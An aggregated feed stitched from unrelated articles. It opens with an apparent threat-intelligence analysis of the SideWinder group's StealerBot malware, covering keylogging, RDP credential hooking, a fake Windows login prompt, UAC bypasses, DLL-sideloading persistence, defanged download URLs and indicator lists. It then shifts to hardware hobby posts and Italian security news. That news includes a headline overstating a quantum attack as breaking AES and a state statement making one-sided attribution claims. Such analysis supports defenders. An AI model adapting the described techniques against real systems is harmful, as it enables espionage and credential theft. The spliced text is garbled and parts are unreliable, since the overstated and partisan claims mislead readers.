StealerBot Orchestrator

The Orchestrator is usually loaded by the Backdoor loader module and is responsible for communicating with the C2 server, and executing and managing plugins. It periodically connects to two URLs to download modules provided by the attacker and upload files with stolen information. It also exchanges messages with the loaded module that can be used to provide or modify configuration properties and unload specific components from the memory.

Once loaded into memory, the malware decodes a resource embedded in the Orchestrator called “Default”. The resource contains a configuration file with the following structure:

The configuration can embed multiple modules. By default, the array is usually empty, but after initial execution, the malware creates a copy of the configuration in a local file and keeps it updated with information retrieved from the C2 server.

After parsing the configuration, the malware loads all the modules specified in the file. It then launches two threads to communicate with the remote C2 server. The first thread is used to communicate with the first URL that we dubbed “C2 Modules”, which is used to obtain new modules. The second thread is used to communicate with the URL we called “C2 Gateway”, which is used to upload the data generated by the modules.

The malware communicates with the C2 Modules server using GET requests. Before sending the request, it adds an “x” value that contains the list of modules already loaded by the agent.
&x[moduleId_1,moduleId_2,moduleId_3,etc.]"
The server responds with a message composed of two parts, the header and the payload. Each part has a specific structure with different information:

Message structure

Each message is digitally signed with the RSA private key owned by the server-side attacker, and the signature is stored in the “rgbSignature” value. The Orchestrator uses the “RSACryptoServiceProvider.VerifyHash” method to verify that the provided digital signature is valid.

The header is encoded with the same XOR algorithm used to encode or decode the configuration file. The payload is compressed using Gzip and encrypted using AES. The header contains the information needed to identify the module, decrypt the payload, and verify the received data.

When the module is loaded, the Orchestrator invokes the module main method, passing two arguments: the module ID and a pipe handle. The pipe is used to maintain communication between the module and the Orchestrator.

The modules can send various messages to the Orchestrator to get or modify the configuration, send log messages, and terminate module execution. The messages function like commands, have a specific ID, and can include arguments.

The first byte of the message is its ID, which defines the request type:

Modules

Keylogger

This module uses the “SetWindowsHookEx” function specified in the “user32.dll” library to install a hook procedure and monitor low-level keyboard and mouse input events. The malware can log keystrokes, mouse events, Windows clipboard contents, and the title of the currently active window.

Screenshot Grabber

This module periodically grabs screenshots of the primary screen.

File Stealer

The File Stealer module collects files from specific directories. It also scans removable drives to steal files with specific extensions. By default, the list of extensions is as follows:
.ppk,.doc,.docx,.xls,.xlsx,.ppt,.zip,.pdf
Based on these values, we can conclude that this tool was developed to perform espionage activities by collecting files that usually contain sensitive information, such as Microsoft Office documents. It also searches for PPK files, which is the extension of files created by PuTTY to store private keys. PuTTY is an SSH and Telnet client commonly used on Windows OS to access remote systems.

The stolen data also includes information about the local drive and file attributes.

Snippet of code with the list of information collected by the File Stealer module

Live Console

This library is configured to execute arbitrary commands on the compromised system. It can be used as a passive backdoor, listening to the loopback interface, or as a reverse shell, connecting to the C2 to receive commands. The library can also process custom commands that provide the following capabilities:

• Kill the module itself or its child processes;
• Download additional files to compromised systems;
• Add Windows Defender exclusions;
• Infect other users on the local system (requires high privileges);
• Download and execute remote HTML applications;
• Load arbitrary modules and extend malware capabilities.

Unlike the other modules, Live Console communicates directly with a C2 whose address is embedded in the module’s code. By default, the malware starts a new “cmd.exe” process, forwards data received from the attacker to its standard input, and forwards the process output or error pipeline to the attacker.

If the infected OS is recent, i.e., Windows 10 build version greater than or equal to “17763”, the malware creates a pseudoconsole to launch “cmd.exe”. Otherwise, it launches the same application using the “Process” class specified in “System.Diagnostics”.

Before forwarding the command to the console, the malware checks if the first byte of the received data has a specific value that indicates the presence of a custom command. Below is a list of these values (command IDs) with descriptions of the commands they identify.

Most of the commands are self-explanatory. We’d like to add a few words on the command with ID “1”, which is used to infect other users on the same system whose profile is still “clean”. The malware infects the user by creating a copy of the samples in the target user’s directory and creates a new registry value to ensure persistence.

This command is interesting because in the case of a specific error, the bot replies with the following message:
Infected User is already logged in, use install dynx command from stealer bot
for installation
Currently, we don’t know what the dynx command represents, but the name “stealer bot” in this message and the name of the resource embedded in the “ModuleInstaller”, “StealerBot_CppInstaller”, led us to conclude that the attacker named this malware StealerBot.

RDP Credential Stealer

This module consists of different components: a .NET library, shellcode, and a C++ library. It monitors running processes and injects malicious code into “mstsc.exe” to steal RDP credentials.

mstsc.exe GUI

Mstsc.exe is the “Microsoft Terminal Service Client” process, which is the default RDP client on Windows. The malware monitors the creation or termination of processes with the name “mstsc.exe”. When a new creation event is detected the malware creates a new pipe with the static name “c63hh148d7c9437caa0f5850256ad32c” and injects malicious code into the new process memory.

The injected code consists of different payloads that are embedded in the module as resources. The payloads are selected at runtime according to the system architecture, and merged before injection. The injected code is a shellcode that loads another malicious library called “mscorlib”, written in C++ to steal RDP credentials by hooking specific functions of the Windows library “SspiCli.dll”. The library code appears to be based on open-source projects available on GitHub. It uses the Microsoft Detours Package to add or remove the hooks to the following functions:

• SspiPrepareForCredRead;
• CryptProtectMemory;
• CredIsMarshaledCredentialW.

The three functions are hooked to obtain the server name, password, and username, respectively. The stolen data are sent to the main module using the previously created pipe named “c63hh148d7c9437caa0f5850256ad32c”.

Token Grabber

The module is a .NET library designed to steal Google Chrome browser cookies and authentication tokens related to Facebook, LinkedIn and Google services (Gmail, Google Drive, etc.). It has many code dependencies and starts by loading additional legitimate and signed libraries whose functions it uses. These libraries are not present on the compromised system by default, so the malware has to drop and load them to function properly.

Credential Phisher

This module attempts to harvest the user’s Windows credentials by displaying a phishing prompt designed to deceive the victim.

Phishing prompt

Similar to the RDP Credential Stealer, the malware creates a new pipe (“a21hg56ue2c2365cba1g9840256ad31c”) and injects malicious shellcode into a targeted process, in this case “explorer.exe”. The shellcode loads a malicious library called “credsphisher.dll”, which uses the Windows function “CredUIPromptForWindowsCredentialsW” to display a phishing prompt to current users and trick victims into entering their Windows credentials.

When the user enters the credentials, the malware uses the “LogonUserW” function to check that the username and password provided are correct. If the user enters incorrect credentials, the malware continues to display the prompt until it receives a valid password. Finally, upon successful credential validation, the malware writes the computer hostname, username and password to a previously created pipe named “a21hg56ue2c2365cba1g9840256ad31c”.

UACBypass

This module is a .NET library designed to bypass UAC and run malicious code with high privileges.

The library can achieve its goal using different bypass techniques, selected according to the Windows version and the security solution installed on the infected machine. The malware embeds various resources containing different payloads used during malware execution.

Before starting its execution, the malware checks certain conditions on the system, namely that UAC elevation doesn’t require admin credentials and that the infected user belongs to the ‘Administrator’ group. If both conditions are met, the malware checks the Windows version and drops some artifacts according to the obtained values.

The main goal of this component is to execute the resource named “Module”, which is a downloader, with high privileges. The malware tries to use different UAC bypass techniques, which are selected according to the installed security solution. By default, it tries to abuse the CMSTP (Windows Connection Manager Profile Installer) program. This legitimate program is abused with a technique discovered in 2017, where the attacker can pass a custom profile to execute arbitrary commands with high privilege. The default bypass technique is used on all systems except those protected by Kaspersky or 360 Total Security.

If these security solutions are detected, the malware attempts to use a more recent UAC bypass technique discovered in 2022, which abuses the “IElevatedFactoryServer” COM object.

In this case, the malware injects malicious shellcode into “explorer.exe”. The shellcode loads and executes a malicious library that was stored in the resource named “COMUacBypass”. The library uses the “IElevatedFactoryServer” COM object to register a new Windows task with the highest privileges, allowing the attacker to execute the command to run the dropped payload with elevated privileges.

During the static analysis of the “UACBypass” module we noticed the presence of code that is not called or executed. Specifically, we noticed a method named “KasperskyUACBypass” that implements another bypass technique that was probably used in the past when the system was protected by Kaspersky anti-malware software. The method implements a bypass technique that abuses the legitimate Windows program slui.exe. It is used to activate and register the operating system with a valid product key, but is prone to a file handler hijacking weakness. The hijacking technique was described in 2020 and is based on the modification of specific Windows registry keys. Based on the created values, we believe the attacker based their code on a proof of concept available on GitHub.

The module still includes two resources that are used exclusively by this code:
VmComputeAgent
VmComputeAgent_exe
The first is a very simple program, packed with ConfuserEx, which starts a new process: “%systemroot%\System32\slui.exe” as administrator.

The second is an XML manifest.

Downloader

The library is a downloader developed in C++ that attempts to retrieve three payloads using different URLs.
hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/bf7dy/111e9a21?name=inpl64
hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/0ywcg/4dfc92c?name=stg64
hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/3ysvj/955da0ae?name=rflr
Unfortunately, we were not able to get a valid response from the server, but considering the “name” variable inside the URL and the logic of the various components observed during the investigation, we can infer that each “name” value probably also indicates the real purpose of the file.

The downloaded data are combined into a final payload with the following structure:
stg64 + <size of rlfr+inpl64+8> + rlfr + <delimiter> + inpl64
Finally, the malware loads the payload into memory and executes it. The execution method is selected according to the version of Windows.

On systems prior to Windows 10, the malware allocates a memory region with read, write and execution permissions, copies the previously generated payload to the new region, and directly calls the first address.

On newer systems, the malware allocates a larger memory space and prepends a small shellcode located in the “.data” section to the final payload.

The malware then patches the kernel32 image in memory and hooks the “LoadLibraryA” function to redirect the execution flow to the small shellcode copied in the allocated region.

Finally, it calls the “LoadLibraryA” function, passing the argument “aepic.dll”.

Snippet of reversed code used to hook LoadLibrary and run the payload

The small shellcode compares the first 8 bytes of the received argument with the static string “aepic.dl”, and if the bytes match, it jumps to the downloaded shellcode “stg64”; otherwise, it jumps to the real “LoadLibraryA” function.

Shellcode embedded in the downloader image

Installers

During the investigation we found two more components, which are installers used to deploy the StealerBot on the systems. We didn’t observe them during the infection chain. They are probably used to install new versions of the malware or deploy the malware in different contexts on the same machine. For example, to infect another user.

InstallerPayload

The first component is a library developed in C++ that acts as a loader. The code is very similar to the “Downloader” component observed in the UAC bypass module. The library contains different payloads that are joined together at runtime and injected into the remote “spoolsv.exe” process.

The injected payload reflectively loads a library called “InstallerPayload.dll”, written in C++, to download additional components and maintain their persistence by creating a new Windows service.

The malware is configured to download the files from a predefined URL using WinHTTP.
hxxps://pafgovt[.]com/mod/rnd/214/15109/14786/X6HPUSbM5luLGTzAhI12Ly8CfydiP869E
F0mo673/1/1706084656128/x3l8o/2c821e
The specific file to be downloaded is requested with a variable “name”, which is included in all GET requests. Each file is downloaded to a specific location:

The specific filename changes according to the Windows version.

If the Windows build is lower than 10240 (Windows 10 build 10240), the malware installs the following files:

• %systemroot%\srclinks\write.exe
• %systemroot%\srclinks\propsys.dll
• %systemroot%\srclinks\write.exe.config
• %systemroot%\srclinks\vm3dservice.exe
• %systemroot%\srclinks\winmm.dll

Otherwise:

• %systemroot%\srclinks\fsquirt.exe
• %systemroot%\srclinks\devobj.dll
• %systemroot%\srclinks\fsquirt.exe.config
• %systemroot%\srclinks\vm3dservice.exe
• %systemroot%\srclinks\winmm.dll

The malware also creates a new Windows service named
"srclink" to ensure that the downloaded files can start automatically when the system restarts.
The service is configured to start automatically and run the following program:
C:\WINDOWS\srclinks\vm3dservice.exe
The file is a legitimate program digitally signed by VMware and is used by the attacker to sideload the malicious
"winmm.dll" library.
This is a library developed in C++ and named
"SyncBotServiceHijack.dll" that exports all the functions normally exported by the legitimate “winmm.dll” library located in the system32 directory.
All the functions point to a function that sleeps for 10 seconds and then raises a signal error and terminates execution.

Instructions used to raise an error

This is part of the persistence mechanism created by the attacker. The malicious Windows service created by the InstallerPayload component is configured to launch another program if the service fails.

Windows service properties

We may presume that the attacker uses this trick to bypass detection and sandbox technologies.

In this case, the service starts another program previously dropped by the malware:
%systemroot%\srclinks\fsquirt.exe
This is a legitimate Windows utility that provides the default GUI used by the Bluetooth File Transfer Wizard. This utility is used by the attacker to sideload another malicious library,
"devobj.dll", which is a variant of the Backdoor loader module.

InstallerPayload_NET

This is another .NET library, which performs similar actions to the previously described InstallerPayload developed in C++. The main difference is that this malware embeds most of the files as resources.

Similar to
InstallerPayload, the malware creates a new service that launches Manage.exe. Manage.exe is a simple program that sleeps for 20 seconds and then generates an exception.
The service is configured to launch another program in case of failure. The second program,
"fsquirt.exe" or "write.exe", is a legitimate application that is used to sideload a malicious library, the Backdoor loader module component.
The encrypted file to be loaded by the Backdoor loader module component is downloaded from a remote server using a URL embedded in the code:
hxxps://split.tyoin[.]biz/7n6at/g3mnr/1691394613799/f0f9e572
The received data are stored in a file with a random name and no extension.

Infrastructure

The attacker registered numerous domains using Hostinger, Namecheap, and Hosting Concepts as providers. They typically configure the malware to communicate with FQDN using specific subdomains with names that appear legitimate and are probably selected for relevance to the target. For example, the following is a small subset of subdomains used by the attacker.

Each domain and its related subdomains are resolved with a dedicated IP address. The C2s are hosted on a VPS used exclusively by the attacker, but rented from different providers for a very short time. The attacker uses different service providers, but has a preference for HZ Hosting, BlueVPS, and GhostNET.

Victims

SideWinder targeted entities in various countries: Bangladesh, Djibouti, Jordan, Malaysia, the Maldives, Myanmar, Nepal, Pakistan, Saudi Arabia, Sri Lanka, Turkey and the United Arab Emirates.

Targeted sectors include government and military entities, logistics, infrastructure and telecommunications companies, financial institutions, universities and oil trading companies. The attacker also targeted diplomatic entities in the following countries: Afghanistan, France, China, India, Indonesia and Morocco.

Attribution

We attribute these activities to the SideWinder APT group with medium/high confidence. The infection chain observed in these attacks is consistent with those observed in the past. Specifically, the following techniques are similar to previous SideWinder activity:

• The use of remote template injection, which is abused to download RTF files named “file.rtf” and forged to exploit CVE-2017-11882.
• The naming scheme used for the malicious subdomains, which attempts to resemble legitimate domains that are of significance to the targets.
• The .NET Downloader component and the Backdoor loader module are similar to those described in the past.
• Last but not least, most of the entities targeted by the group are similar to those targeted by SideWinder in the past.

***More information, IoCs and YARA rules for SideWinder are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

IOCs

Malicious documents

6cf6d55a3968e2176db2bba2134bbe94
c87eb71ff038df7b517644fa5c097eac
8202209354ece5c53648c52bdbd064f0
5cc784afb69c153ab325266e8a7afaf4
3a6916192106ae3ac7e55bd357bc5eee
54aadadcf77dec53b2566fe61b034384
8f83d19c2efc062e8983bce83062c9b6
8e8b61e5fb6f6792f2bee0ec947f1989
86eeb037f5669bff655de1e08199a554
1c36177ac4423129e301c5a40247f180
873079cd3e635adb609c38af71bad702
423e150d91edc568546f0d2f064a8bf1
4a5e818178f9b2dc48839a5dbe0e3cc1

Rtf

26aa30505d8358ebeb5ee15aecb1cbb0
3233db78e37302b47436b550a21cdaf9
8d7c43913eba26f96cd656966c1e26d5
d0d1fba6bb7be933889ace0d6955a1d7
e706fc65f433e54538a3dbb1c359d75f

Lnk

412b6ac53aeadb08449e41dccffb1abe දින සංශෝධන කර ගැනිම .lnk
2f4ba98dcd45e59fca488f436ab13501 Special Envoy Speech at NCA.jpg .lnk

Backdoor Loader

propsys.dll
b69867ee5b9581687cef96e873b775ff
c3ce4094b3411060928143f63701aa2e
e1bdfa55227d37a71cdc248dc9512296
ea4b3f023bac3ad1a982cace9a6eafc3
44dbdd87b60c20b22d2a7926ad2d7bea
7e97cbf25eef7fc79828c033049822af
vsstrace.dll
101a63ecdd8c68434c665bf2b1d3ffc7
d885df399fc9f6c80e2df0c290414c2f
92dd91a5e3dfb6260e13c8033b729e03
515d2d6f91ba4b76847301855dfc0e83
3ede84d84c02aa7483eb734776a20dea
2011658436a7b04935c06f59a5db7161

StealerBot

3a036a1846bfeceb615101b10c7c910e Orchestrator
47f51c7f31ab4a0d91a0f4c07b2f99d7 Keylogger
f3058ac120a2ae7807f36899e27784ea Screenshot grabber
0fbb71525d65f0196a9bfbffea285b18 File stealer
1ed7ad166567c46f71dc703e55d31c7a Live Console
2f0e150e3d6dbb1624c727d1a641e754 RDP Credential Stealer
bf16760ee49742225fdb2a73c1bd83c7 RDP Credential Stealer – Injected library
mscorlib.dll
b3650a88a50108873fc45ad3c249671a Token Grabber
4c40fcb2a12f171533fc070464db96d1 Credential Phisher – Injected library
eef9c0a9e364b4516a83a92592ffc831 UACBypass

SyncBotServiceHijack.dll

1be93704870afd0b22a4475014f199c3

Service Hijack

f840c721e533c05d152d2bc7bf1bc165 Manage.exe

Backdoor Loader devobj.dll

5718c0d69939284ce4f6e0ce580958df

Domains and IPs

126-com[.]live
163inc[.]com
afmat[.]tech
alit[.]live
aliyum[.]tech
aliyumm[.]tech
asyn[.]info
ausibedu[.]org
bol-south[.]org
cnsa-gov[.]org
colot[.]info
comptes[.]tech
condet[.]org
conft[.]live
dafpak[.]org
decoty[.]tech
defenec[.]net
defpak[.]org
detru[.]info
dgps-govpk[.]co
dgps-govpk[.]com
dinfed[.]co
dirctt88[.]co
dirctt88[.]net
direct888[.]net
direct88[.]co
directt888[.]com
donwload-file[.]com
donwloaded[.]com
donwloaded[.]net
dowmload[.]net
downld[.]net
download-file[.]net
downloadabledocx[.]com
dynat[.]tech
dytt88[.]org
e1ix[.]mov
e1x[.]tech
fia-gov[.]com
fia-gov[.]net
gov-govpk[.]info
govpk[.]info
govpk[.]net
grouit[.]tech
gtrec[.]info
healththebest[.]com
jmicc[.]xyz
kernet[.]info
kretic[.]info
lforvk[.]com
mfa-gov[.]info
mfa-gov[.]net
mfa-govt[.]net
mfacom[.]org
mfagov[.]org
mfas[.]pro
mitlec[.]site
mod-gov-pk[.]live
mofa[.]email
mofagovs[.]org
moittpk[.]net
moittpk[.]org
mshealthcheck[.]live
nactagovpk[.]org
navy-mil[.]co
newmofa[.]com
newoutlook[.]live
nopler[.]live
ntcpak[.]live
ntcpak[.]org
ntcpk[.]info
ntcpk[.]net
numpy[.]info
numzy[.]net
nventic[.]info
office-drive[.]live
pafgovt[.]com
paknavy-gov[.]org
paknavy-govpk[.]info
paknavy-govpk[.]net
pdfrdr-update[.]com
pdfrdr-update[.]info
pmd-office[.]com
pmd-office[.]live
pmd-office[.]org
ptcl-net[.]com
scrabt[.]tech
shipping-policy[.]info
sjfu-edu[.]co
support-update[.]info
tazze[.]co
tex-ideas[.]info
tni-mil[.]com
tsinghua-edu[.]tech
tumet[.]info
u1x[.]co
ujsen[.]net
update-govpk[.]co
updtesession[.]online
widge[.]info

securelist.com/sidewinder-apt/…

[bitluni] seems rather fond of soldering lots of LEDs, and fortunately for us the result is always interesting eye candy. The latest iteration of this venture features 8 mm WS2812D-F8 addressable LEDs, offering a significant simplification in electronics and the potential for much brighter displays.

The previous version used off-the-shelf 8×8 LED panels but had to be multiplexed, limiting brightness, and required a more complex driver circuit. To control the panel, [bitluni] used the ATtiny running the MegaTinyCore Arduino core. Off-the-shelf four-pin magnetic connectors allow the panels to snap together. They work well but are comically difficult to solder since they keep grabbing the soldering iron. [bitluni] also created a simple battery module and 3D printed neat enclosures for everything.

Having faced the arduous task of fixing individual LEDs on massive LED walls in the past, [bitluni] experimented with staggered holes that allow through-hole LEDs to be plugged in without soldering. Unfortunately, with long leads protruding from the back of the PCB, shorting became an immediate issue. While he ultimately resorted to soldering them for reliability, we’re intrigued by the potential of refining this pluggable design.

The final product snapped together satisfyingly, and [bitluni] programmed a simple animation scheme that automatically updates as panels are added or removed. What would you use these for? Let us know in the comments below.

youtube.com/embed/L2J_eNgjxio?…

hackaday.com/2024/10/15/modula…

Un team di scienziati in Cina ha effettuato il primo attacco quantistico “efficace” al mondo contro un metodo di crittografia classico. L’attacco è stato effettuato utilizzando un computer quantistico standard della società canadese D-Wave Systems, scrive il South China Morning Post .

Gli scienziati sono riusciti a decifrare con successo algoritmi crittografici ampiamente utilizzati in settori critici come quello bancario e militare, avvertendo che il risultato rappresenta una “minaccia reale e significativa”.

Lo studio è stato condotto da Wang Chao dell’Università di Shanghai. Hanno attaccato gli algoritmi SPN (Substitution-Permutation Network) come Present, Gift-64 e Rectangle.

Gli algoritmi SPN sono alla base dello standard di crittografia AES (Advanced Encryption Standard), con AES-256 talvolta chiamato “standard militare” e considerato resistente agli attacchi quantistici.

I dettagli della metodologia dell’attacco rimangono poco chiari e Wang ha rifiutato di rivelare ulteriori dettagli in un’intervista al South China Morning Post a causa della “sensibilità” dell’argomento. Tuttavia, i ricercatori hanno avvertito che decifrare il codice è più vicino che mai.

“Questa è la prima volta che un vero computer quantistico rappresenta una minaccia reale e significativa per molti algoritmi SPN in uso oggi”, afferma un articolo sottoposto a revisione paritaria pubblicato sul Chinese Journal of Computers.

D-Wave Systems afferma di essere il primo fornitore commerciale al mondo di computer quantistici. Tra i suoi clienti figurano Lockheed Martin, NASA e Google.

La maggior parte dei sistemi quantistici universali esistenti non sono ancora considerati sufficientemente avanzati da rappresentare una minaccia per la crittografia moderna. Si prevede che le macchine quantistiche “utili” appariranno solo tra pochi anni.

Tuttavia, la potenziale capacità dei computer quantistici di risolvere problemi complessi e di violare la maggior parte degli algoritmi a chiave pubblica è motivo di preoccupazione. A questo proposito, si stanno compiendo sforzi per creare una crittografia “resistente ai quanti”.

All’inizio di quest’anno, il National Institute of Standards and Technology (NIST) ha rilasciato una serie di algoritmi di crittografia di base progettati per proteggere dai futuri attacchi informatici generati dai computer quantistici.

L'articolo Quantum Computing: La crittografia AES è stata violata? L’esperimento riuscito dell’Università di Shanghai proviene da il blog della sicurezza informatica.

Cisco ha avviato un’indagine su una possibile fuga di dati dopo che sul forum underground Breach Forums il criminale informatico IntelBroker ha messo in vendita di informazioni rubate all’azienda.

Un portavoce dell’azienda ha affermato che Cisco è a conoscenza del fatto che una persona sconosciuta afferma di avere accesso a determinati file aziendali. Un’indagine è attualmente in corso per valutare la violazione, ma non è stata ancora completata.

L’hacking è stato segnalato per la prima volta da un noto aggressore con il nome utente “IntelBroker”, il quale sostiene di aver violato Cisco insieme ad altri due hacker, “EnergyWeaponUser” e “zjj”, il 10 giugno e di aver rubato grandi quantità di dati relativi allo sviluppo dei prodotti dell’azienda.

I dati compromessi da come viene riportato sarebbero: progetti Github, Gitlab, SonarQube, codice sorgente, credenziali hardcoded, certificati, SRC client, documenti riservati Cisco, ticket Jira, token API, contenitori privati ​​AWS, SRC della tecnologia Cisco, build Docker, contenitori di archiviazione di Azure, chiavi private e pubbliche , certificati SSL, informazioni sui prodotti Cisco Premium.
Post di IntelBroker sul furto di dati Cisco
IntelBroker ha inoltre pubblicato campioni dei dati presumibilmente rubati, inclusi database, informazioni sui clienti e screenshot dei portali di gestione dei clienti. L’aggressore non ha però spiegato come sia riuscito ad accedere ai dati.

Secondo fonti a conoscenza dell’incidente, le informazioni sono state rubate da un fornitore terzo di servizi gestiti per DevOps e sviluppo software.

Al momento non ci sono informazioni definitive sul fatto che la violazione di Cisco sia collegata a precedenti incidenti di giugno, tra cui T-Mobile, AMD e Apple.

Come nostra consuetudine, lasciamo sempre spazio ad una dichiarazione da parte dell’azienda qualora voglia darci degli aggiornamenti sulla vicenda. Saremo lieti di pubblicare tali informazioni con uno specifico articolo dando risalto alla questione.

RHC monitorerà l’evoluzione della vicenda in modo da pubblicare ulteriori news sul blog, qualora ci fossero novità sostanziali. Qualora ci siano persone informate sui fatti che volessero fornire informazioni in modo anonimo possono utilizzare la mail crittografata del whistleblower.

L'articolo IntelBroker rivendica Attacco a Cisco: violati codici sorgente e documenti riservati proviene da il blog della sicurezza informatica.

Pechino, 14 ottobre — In risposta a un rapporto pubblicato dalle agenzie cinesi che ha rivelato come gli Stati Uniti abbiano occultato i propri attacchi informatici accusando altri Paesi, il portavoce del Ministero degli Esteri, Mao Ning, ha dichiarato il 14 ottobre che la Cina esorta gli Stati Uniti a cessare immediatamente gli attacchi informatici a livello globale e a smettere di utilizzare questioni legate alla sicurezza informatica per diffamare la Cina.

Durante una conferenza stampa, un giornalista ha chiesto: “Abbiamo notato che un recente rapporto, pubblicato dal Centro Nazionale Cinese di Risposta alle Emergenze per Virus Informatici, dal Laboratorio Nazionale di Ingegneria per la Prevenzione dei Virus Informatici e dalla 360 Company, ha svelato che gli Stati Uniti hanno amplificato il nome dell’organizzazione ‘Volt Typhoon’ per nascondere i propri attacchi informatici, incolpando altri Paesi. Qual è il commento della Cina su questo?”

Mao Ning ha spiegato che le agenzie cinesi hanno già pubblicato due rapporti in passato, rivelando che il cosiddetto ‘Volt Typhoon’ è in realtà una copertura per un’organizzazione internazionale di ransomware che agisce per ottenere fondi dal Congresso e contratti governativi. Le agenzie di intelligence statunitensi, insieme a società di sicurezza informatica, hanno cospirato per diffondere false informazioni e incolpare la Cina. Il nuovo rapporto ha svelato ulteriori dettagli scioccanti.

Mao Ning ha sottolineato che, primo, gli Stati Uniti utilizzano tecnologie avanzate per falsificare attacchi informatici, inserendo stringhe in cinese o in altre lingue per sviare le indagini e incolpare altri Paesi. “È interessante notare”, ha aggiunto, “che Guam, presunta vittima di un attacco informatico statunitense attribuito a ‘Volt Typhoon’, è anche il centro di numerosi attacchi informatici contro la Cina e altri Paesi del sud-est asiatico.”

In secondo luogo, ha affermato Mao, gli Stati Uniti sfruttano la loro posizione privilegiata nei cavi sottomarini per condurre sorveglianza su larga scala e furto di dati a livello mondiale. Ironia della sorte, durante l’Assemblea Generale delle Nazioni Unite di quest’anno, gli Stati Uniti hanno radunato alcuni alleati per rilasciare una dichiarazione congiunta in cui si impegnavano a garantire la sicurezza dei cavi sottomarini.

In terzo luogo, ha continuato Mao, gli Stati Uniti non hanno mai smesso di spiare i propri alleati, come la Germania. Nel 2022, gli Stati Uniti e l’Europa hanno concordato un nuovo quadro per la trasmissione transatlantica dei dati, promettendo di migliorare la supervisione delle attività di furto informatico in Europa, ma continuano a obbligare le aziende a trasferire dati verso gli Stati Uniti attraverso il Foreign Intelligence Surveillance Act. Ciò consente loro di accedere ai dati degli utenti di Internet in Germania e in altri Paesi.

In quarto luogo, Mao ha denunciato la complicità di alcune grandi aziende tecnologiche statunitensi nel supportare il governo americano. Mentre gli Stati Uniti accusano altri Paesi di prepararsi ad attacchi informatici, collaborano con aziende tecnologiche per preinstallare backdoor nei prodotti di rete, lanciando così attacchi contro la catena di approvvigionamento globale. Alcune di queste aziende, ha detto, cooperano attivamente nel diffondere false narrazioni su presunti “attacchi di hacker cinesi” per profitto.

Mao Ning ha concluso sottolineando che i fatti emersi nel rapporto dimostrano chiaramente chi rappresenta la maggiore minaccia alla sicurezza del cyberspazio globale. Finora, il governo degli Stati Uniti non solo ha ignorato il rapporto, ma ha anche continuato a diffondere false informazioni, come nel caso di ‘Volt Typhoon’.

“La Cina condanna fermamente questo comportamento irresponsabile degli Stati Uniti ed esorta gli Stati Uniti a cessare immediatamente gli attacchi informatici a livello globale e a smettere di utilizzare le questioni di sicurezza informatica come pretesto per diffamare la Cina”, ha dichiarato Mao Ning.

L'articolo Cina: Gli USA usano il cyberspazio per spiare e diffamare altri Paesi proviene da il blog della sicurezza informatica.

The 3D printing process is cool, but it’s also really annoying at times. Specifically, when you want to get a part printed, and no matter how you orientate things, what adhesion aids you use or what slicer settings you tweak, it just won’t print right. [David Malawey] has been thinking a little about the problem of the edges of wide prints tending to curl upwards, and we believe they may be on to something.

Obviously, we’re talking about the lowest common denominator of 3D printing, FDM, here. Other 3D printing technologies have their gotchas. Anyway, when printing a wide object, edge curling or warping is a known annoyance. Many people will just try it and hope for the best. When a print’s extreme ends start peeling away from the heat bed, causing the print to collide with the head, they often get ripped off the bed and unceremoniously ejected onto the carpet. Our first thought will be, “Oh, bed adhesion again”, followed by checking the usual suspects: bed temperature, cleanliness and surface preparation. Next, we might add a brim or some sacrificial ‘bunny ears’ to keep those pesky edges nailed down. Sometimes this works, but sometimes not. It can be frustrating. [David] explains in the YouTube short how the contraction of each layer of materials is compounded by its length, and these stresses accumulate as the print layers build. A simple demonstration shows how a stack of stressed sections will want to curl at the ends and roll up inwards.

This mechanism would certainly go some way to explain the way these long prints behave and why our mitigation attempts are sometimes in vain. The long and short of it is to fix the issue at the design stage, to minimize those contraction forces, and reduce the likelihood of edge curling.

Does this sound familiar? We thought we remembered this, too, from years ago. Anyway, the demonstration was good and highlighted the issue well.

youtube.com/embed/8bF8jxYwUM4?…

Thanks to [Keith] for the tip!

hackaday.com/2024/10/14/what-a…

Il numero di pacchetti dannosi nell’ecosistema open source è aumentato in modo significativo nell’ultimo anno, come evidenziato da un nuovo rapporto di Sonatype. Gli esperti hanno notato che il numero di componenti dannosi caricati intenzionalmente in repository open source è aumentato di oltre il 150% rispetto all’anno precedente.

Il software open source, basato su un processo di sviluppo trasparente con la possibilità per chiunque di contribuire, è la base della maggior parte delle moderne tecnologie digitali. Il rapporto Sonatype ha analizzato più di 7 milioni di progetti, di cui oltre 500mila contenenti componenti dannosi.

I problemi con le vulnerabilità nei pacchetti open source e le difficoltà incontrate dagli sviluppatori nel supportarli sono diventati un vero problema negli ultimi anni a causa di una serie di gravi attacchi informatici e di vulnerabilità identificate. Un esempio è stato il recente incidente che ha coinvolto lo strumento di compressione dati XZ Utilis. Da anni i criminali informatici cercano di introdurre vulnerabilità in strumenti diffusi in modo che finisca su numerosi server in tutto il mondo.

Come notano gli esperti, il problema non risiede solo negli attacchi stessi, ma anche nell’approccio degli editori e dei consumatori di soluzioni open source.

Nella fretta di rilasciare rapidamente nuove versioni e funzionalità, la sicurezza viene spesso trascurata. Di conseguenza, le vulnerabilità critiche rimangono irrisolte per molto tempo. È noto, ad esempio, che anche anni dopo la scoperta del problema nel componente Log4Shell, circa il 13% dei suoi download contiene ancora versioni vulnerabili.

In media, sono necessari fino a 500 giorni per correggere le vulnerabilità critiche, un periodo significativamente più lungo rispetto al precedente periodo di 200-250 giorni. I bug meno gravi richiedono ancora più tempo per essere risolti: in alcuni casi questo processo richiede più di 800 giorni, sebbene in precedenza tali periodi raramente superassero i 400 giorni.

Questi dati mostrano che la catena di fornitura del software ha raggiunto un punto critico in cui le risorse degli editori semplicemente non riescono a tenere il passo con il crescente numero di vulnerabilità. Inoltre, ciascun ecosistema di programmazione ha le proprie caratteristiche, il che rende difficile garantirne la protezione.

Ad esempio, negli ultimi anni il gestore pacchetti Node.js ha registrato un forte aumento dei pacchetti dannosi legati allo spam e alle criptovalute.

L'articolo Allarme Open Source. Il punto di non ritorno è superato. +150% di Pacchetti Dannosi in Un Anno proviene da il blog della sicurezza informatica.

